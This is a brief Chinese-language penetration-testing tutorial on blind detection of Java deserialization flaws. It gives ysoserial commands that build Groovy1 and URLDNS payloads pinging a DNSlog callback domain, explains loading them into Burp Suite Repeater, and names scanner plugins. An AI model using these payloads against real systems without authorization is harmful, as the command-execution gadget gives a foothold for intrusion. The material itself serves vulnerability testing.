java反序列化盲打與手工測試

1.生成測試payload:

cd D:\plug_in\BurpSuite JAVA反序列化漏洞掃描插件

//下面的語句意思就是反連到你自已的dnslog平台：

java -jar ./ysoserial-0.0.5.jar Groovy1 "ping t00ls.321c7f33a1e05e08674e86fae641e95c.tu4.org" > payload1.txt

 

java -jar ./ysoserial-0.0.6-SNAPSHOT-BETA-all.jar URLDNS http://t00ls.321c7f33a1e05e08674e86fae641e95c.tu4.org/ > payload1.txt

 

 

2.在burpsuite中載入paload1.txt:

Repeater->右鍵選“Paste from file"

   

//dnslog平台上面看結果：

 3.burpsuite反序列化插件的測試截圖：

下載地址:https://github.com/federicodotta/Java-Deserialization-Scanner/

 

4、burpsuite JavaSerialKiller插件測試java反序列化漏洞：

 

 

  

ping t00ls.321c7f33a1e05e08674e86fae641e95c.tu4.org